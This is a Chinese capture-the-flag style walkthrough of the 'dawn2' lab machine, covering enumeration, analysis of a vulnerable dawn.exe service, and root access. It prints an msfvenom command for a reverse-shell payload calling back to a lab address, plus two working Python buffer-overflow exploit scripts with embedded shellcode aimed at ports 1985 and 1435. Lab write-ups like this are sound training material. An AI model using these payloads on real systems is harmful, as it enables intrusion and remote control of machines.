OSCP系列靶机—dawn2
一、主机发现
二、端口扫描
1、快速扫描
2、全端口扫描
3、服务版本探测
4、漏洞探测
几乎没什么发现
三、HTTP信息收集
1、首页及源代码
这里给了一个zip 的压缩包
2、dawn.zip信息收集
有个exe跟README.txt
文件
昂?DAWN Multi 服务的客户端;由于是exe,放在我的本机尝试执行
没懂啥意思,查了一下DAWN Multi Server 的相关信息
DAWN Multi Server 是一个多功能服务器解决方案,具备多种服务功能。以下是一些关键点:
- 邮件服务器:提供企业邮局服务。
- DNS服务器:负责域名解析。
- FTP服务器:用于文件传输。
- 路由器和NAT防火墙:提供网络路由和安全防护。
- DHCP服务器:动态分配IP地址。
- 网站服务器:支持PHP和MySQL,可以搭建网站。
- 代理服务器:提供网络代理服务。
- NFS网络文件服务器:用于文件共享。
- Samba跨平台文件服务器:支持跨平台文件共享。
- BBS网站:提供论坛服务,架构为PHP+MySQL。
搜索一下有关该服务的漏洞
在查看链接之后,很显然不是我们需要的
3、目录扫描
啥也没
4、dawn.exe折腾
最后还是回归这个dawn.exe
他一直处于一种监听的模式,尝试用nc 去连接他;我们需要知道它监听的端口是哪个,这个查找方式有很多
找到这个程序将会监听在1985,而凑巧的是,靶机的这个端口开放且在监听;使用nc 尝试端口连接
似乎有反应,尝试编写脚本
噢,有点反应,继续尝试;继续尝试,发现它经常性的卡壳,就如同README.txt
写的那样
四、Getshell
最后我们需要搞出来msf 的payload,之后去加载执行
1
| msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=8888 -f c -b '\x00' EXITFUNC=thread
|
payload,替换buff和ip、端口即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #!/usr/bin/python2 import socket
buff = ("\xda\xde\xd9\x74\x24\xf4\x58\xbe\x7f\x77\xb1\x99\x2b\xc9" "\xb1\x12\x31\x70\x17\x03\x70\x17\x83\x97\x8b\x53\x6c\x56" "\xaf\x63\x6c\xcb\x0c\xdf\x19\xe9\x1b\x3e\x6d\x8b\xd6\x41" "\x1d\x0a\x59\x7e\xef\x2c\xd0\xf8\x16\x44\x23\x52\xd0\xf1" "\xcb\xa1\x21\xdb\xb3\x2f\xc0\xab\xa2\x7f\x52\x98\x99\x83" "\xdd\xff\x13\x03\x8f\x97\xc5\x2b\x43\x0f\x72\x1b\x8c\xad" "\xeb\xea\x31\x63\xbf\x65\x54\x33\x34\xbb\x17")
payload = "A" * 272 + "\x77\x17\x58\x34" + "\x90" * 32 + buff + "\x00"
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.105', 1985)) s.send(payload) s.close() print("payload send successfully") except Exception as e: print(e) print("error")
|
成功getshell
五、权限提升
1、信息收集
有一个跟dawn.exe 差不多的全root的dawn-BETA.exe 文件欸
下载到本地尝试执行
跟哪个dawn.exe 一样欸,看监听在哪个端口
1435,看来是剩下的那个端口,用同样方法再来一遍即可提权到root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #!/usr/bin/python2 import socket
buff = ("\xda\xde\xd9\x74\x24\xf4\x58\xbe\x7f\x77\xb1\x99\x2b\xc9" "\xb1\x12\x31\x70\x17\x03\x70\x17\x83\x97\x8b\x53\x6c\x56" "\xaf\x63\x6c\xcb\x0c\xdf\x19\xe9\x1b\x3e\x6d\x8b\xd6\x41" "\x1d\x0a\x59\x7e\xef\x2c\xd0\xf8\x16\x44\x23\x52\xd0\xf1" "\xcb\xa1\x21\xdb\xb3\x2f\xc0\xab\xa2\x7f\x52\x98\x99\x83" "\xdd\xff\x13\x03\x8f\x97\xc5\x2b\x43\x0f\x72\x1b\x8c\xad" "\xeb\xea\x31\x63\xbf\x65\x54\x33\x34\xbb\x17")
payload = "A" * 272 + "\x77\x17\x58\x34" + "\x90" * 32 + buff + "\x00"
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.105', 1435)) s.send(payload) s.close() print("payload send successfully") except Exception as e: print(e) print("error")
|